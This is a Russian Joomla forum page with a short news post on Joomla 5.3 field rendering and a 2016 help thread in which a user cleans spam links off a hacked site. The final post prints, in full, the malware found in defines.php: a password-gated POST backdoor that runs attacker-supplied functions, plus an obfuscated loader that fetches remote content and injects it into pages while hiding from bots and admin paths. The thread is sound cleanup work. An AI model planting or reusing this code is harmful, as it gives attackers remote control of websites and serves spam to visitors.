Новости Joomla

Рендер пользовательского поля внутри другого пользовательского поля. Joomla 5.3

👩‍💻 Рендер пользовательского поля внутри другого пользовательского поля. Joomla 5.3.Писал ранее о том, как внутри одного пользовательского поля рендерить другое пользовательское поле. Применил для этого возможность Joomla обращаться к методам плагинов напрямую. Процитирую строчку кода из предыдущего поста:
$joomlaFieldContentPlugn->onContentPrepare('com_content.article', $fakeItem, $app->getParams());
Joomla постепенно переходит от простого указания аргументов для триггеров плагинов к собственным классам событий. Это позволяет не запоминать порядок передачи аргументов класса и использовать человекопонятные методы
$event->getContext(),
$event->getItem() и т.д. А то в одном месте в Joomla было
$article, в другом -
$item, в третьем ещё как-то... Порядку больше становится. Сегодня обновил сайт клиентов до Joomla 5.3. В ней обновили контент-плагин fields и мой финт ушами с вызовом метода плагина отвалился потому, что я передавал в нём 3 аргумента, вместо одного. И для события onContentPrepare это должен быть объект класса
ContentPrepareEvent.Как меняется фрагмент кода из предыдущего поста:
// мы находимся в файле макета поляuse Joomla\CMS\Event\Content\ContentPrepareEvent;use Joomla\CMS\Factory;$app = Factory::getApplication();$fakeItem = new \stdClass();// Получаем id текущего материала из объекта Input$fakeItem->id = $app->getInput()->getInt('id');// {field 29} - это шорт код вставки поля с id 29 - "ассортимент проекта"// к содержимому поля конкатенируем шорт-код для обработки$fakeItem->text = $field->value . '{field 29}';// Получаем объект плагина$joomlaFieldContentPlugn = $app->bootPLugin('fields', 'content');// вызываем метод обработки напрямую// вместо 3-х аргументов теперь указываем один// это объект класса ContentPrepareEvent$joomlaFieldContentPlugn->onContentPrepare(new ContentPrepareEvent('onContentPrepare', [            'context' => 'com_content.article',            'subject' => $fakeItem,            'params'  => $app->getParams(),            'page'    => 0,        ]));// выводим оба поляecho $fakeItem->text;
@webtolkru#joomla #webdev #php #разработка #поля

Вышел релиз Joomla 5.3.0

Вышел релиз Joomla 5.3.0

Проект Joomla с радостью объявляет о выходе Joomla 5.3 — последней минорной версии в серии Joomla 5.

Этот релиз сосредоточен на продуманных улучшениях, которые совершенствуют работу с CMS. От лучшей организации файлов и журналирования задач до расширенной обработки электронной почты и улучшенной доступности — Joomla 5.3 помогает администраторам и разработчикам работать более эффективно, сохраняя ваш сайт современным, безопасным и готовым к будущему.

0 Пользователей и 1 Гость просматривают эту тему.
  • 23 Ответов
  • 1112 Просмотров
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Проблема в head
« : 16.03.2016, 10:49:31 »
У меня появилась такая вот проблема на сайте... в верхней части сайта появились какие то ссылки и у меня не получается их оттуда убрать, помогите пожалуйста ! http://www.lid.ee/galereya-rabot
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #1 : 16.03.2016, 10:54:38 »
это называется "кака на сайте"
попробуйте найти поиском по коду diving-krabi в ноте++ или блокноте, откуда лезет, если не закодировано.
вас таким образом решили заманить на дайвинг http://www.aqua-vision.net/index.html  ;D
видно модуль или шаб или расширение какое-то с вареза с такой ссылкой(-ми).
« Последнее редактирование: 16.03.2016, 10:57:53 от vipiusss »
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

effrit

  • Легенда
  • 10132
  • 1118 / 13
  • effrit.com
Re: Проблема в head
« Ответ #2 : 16.03.2016, 11:00:26 »
сайт из 3х страниц, шаб - бесплатный, галерея - тоже.
ну если шаб или галерею умудрились с варезника скачать - то сами себе буратины.
если сайтов на аккаунте несколько - то возможно что ломанули не через этот даже.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #3 : 16.03.2016, 11:05:36 »
Шаблон бесплатный качался очень давно, а щас только это появилось... модуль facebook стоит официальный, из дополнений только галерея... а где эта "кака" может быть в шаблоне?
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #4 : 16.03.2016, 11:10:29 »
галерея... а где эта "кака" может быть в шаблоне?

поиском по коду diving-krabi в ноте++ или блокноте
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #5 : 16.03.2016, 11:11:02 »
поиском по коду diving-krabi в ноте++ или блокноте
ничего не дало
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #6 : 16.03.2016, 11:12:12 »
запакуйте сайт в архив, выложите где-то, дайте ссылку в личку.
найду.
мы тут не телепаты.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #7 : 16.03.2016, 11:20:28 »
запакуйте сайт в архив, выложите где-то, дайте ссылку в личку.
найду.
мы тут не телепаты.
отправил ссылку
*

wishlight

  • Гуру
  • 5039
  • 306 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Проблема в head
« Ответ #8 : 16.03.2016, 11:21:10 »
Дорвей с рекламой фармы. ai-bolit скрипт найдет.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #9 : 16.03.2016, 11:34:59 »
Дорвей с рекламой фармы. ai-bolit скрипт найдет.
Вредоносные скрипты не найдены.
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #10 : 16.03.2016, 11:36:48 »
ЛС получил, скачал, скоро доберусь, немного занят.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #11 : 16.03.2016, 11:37:38 »
ЛС получил, скачал, скоро доберусь, немного занят.
я никого не тороплю =)
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #12 : 16.03.2016, 12:54:37 »
Что-то я ничего и не обнаружил в коде.
Может искал так(
Или оно не там сидит, а или в БД или вообще на соседнем сайте хоста.
Сорян.
« Последнее редактирование: 16.03.2016, 15:17:26 от vipiusss »
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #13 : 16.03.2016, 22:25:59 »
А дайте-ка и мне ссылочку на архив. Посмотрю что там с ним.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #14 : 16.03.2016, 22:29:20 »
Что-то я ничего и не обнаружил в коде.
Может искал так(
Или оно не там сидит, а или в БД или вообще на соседнем сайте хоста.
Сорян.
буду тогда БД шерстить, но что искать там?
*

Gosha5767

  • Захожу иногда
  • 487
  • 27 / 0
Re: Проблема в head
« Ответ #15 : 16.03.2016, 22:48:02 »
Можно еще проверить в папке images
Чистка сайта от дублей в Яндекс и Google.
Миграция Joomla 1.5 до Joomla 3.хх
Доработка сайта
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #16 : 16.03.2016, 22:50:54 »
Скачал архив.
Попробуйте обновить на сервере файл administrator/includes/defines.php
Мой антивирус обнаружил там троянскую программу и ещё какую-то блоху. Я даже не могу посмотреть что там было, т.к. антивирус его сразу удаляет.
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #17 : 16.03.2016, 22:53:39 »
Спойлер
[свернуть]

наверное самое нижнее в коде, куки...хотя я вроде перекодировал и не вылазило у меня и я подумал админское что-то
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #18 : 16.03.2016, 22:58:33 »
Во во.
Этот файл должен заканчиваться строкой:

define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #19 : 16.03.2016, 23:07:07 »
да, точно! Skaneris спасибо за помощь автору!
что-то я бегло наверно и не понял сразу!

Автор, в этом файле оставьте только это:

Спойлер
[свернуть]
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #20 : 17.03.2016, 03:19:34 »
Но не факт, что на этом все беды закончились. 
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #21 : 17.03.2016, 19:58:56 »
Скачал архив.
Попробуйте обновить на сервере файл administrator/includes/defines.php
Мой антивирус обнаружил там троянскую программу и ещё какую-то блоху. Я даже не могу посмотреть что там было, т.к. антивирус его сразу удаляет.
Заменил на оригинал, но на фронте ничего не поменялось
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #22 : 17.03.2016, 20:02:02 »
значит по поиску кода поищите участки того, что является лишним (я удалил уже архив).
возможно такое же ещё где-то сидит.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #23 : 17.03.2016, 21:07:51 »
В обоих файлах defines.php был такой код
Код
//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '68aa31e7a29e7bca10ced099b926e4cd';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6)!= '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDIzOy0xNjMtMTc7LTIzOixhb2xkLDx3dnFhdm9mbWBmJXZ3blxwbHZxYGY+OjIzNDA5MTo1OjExOTc7Ow==');
    $url = decrypt_url('a3d3czksLDIzOy0xNjMtMTc7LTIzOixhb2xkLDx3dnFhdm9mbWBmJXZ3blxwbHZxYGY+OjIzNDA5MTo1OjExOTc7Ow==');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend
убрал его и всё пропало

Всем спасибо за помощь!
« Последнее редактирование: 17.03.2016, 21:11:10 от kish »
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Проблема с плагином News Show gk5

Автор Evgeniy

Ответов: 4
Просмотров: 307
Последний ответ 27.03.2025, 05:38:57
от R31rus
Проблема со входом в панель администратора Joomla 3.x после обновления

Автор danieeljose

Ответов: 2
Просмотров: 327
Последний ответ 24.03.2025, 20:33:02
от R31rus
Проблема с меню

Автор denis_4

Ответов: 6
Просмотров: 865
Последний ответ 07.08.2024, 14:00:43
от denis_4
Непонятная проблема с меню

Автор THE KILLERS

Ответов: 2
Просмотров: 6626
Последний ответ 25.07.2024, 16:07:39
от THE KILLERS
Проблема с 404 страницей

Автор prog5

Ответов: 5
Просмотров: 1288
Последний ответ 20.04.2024, 23:05:53
от Alexeyman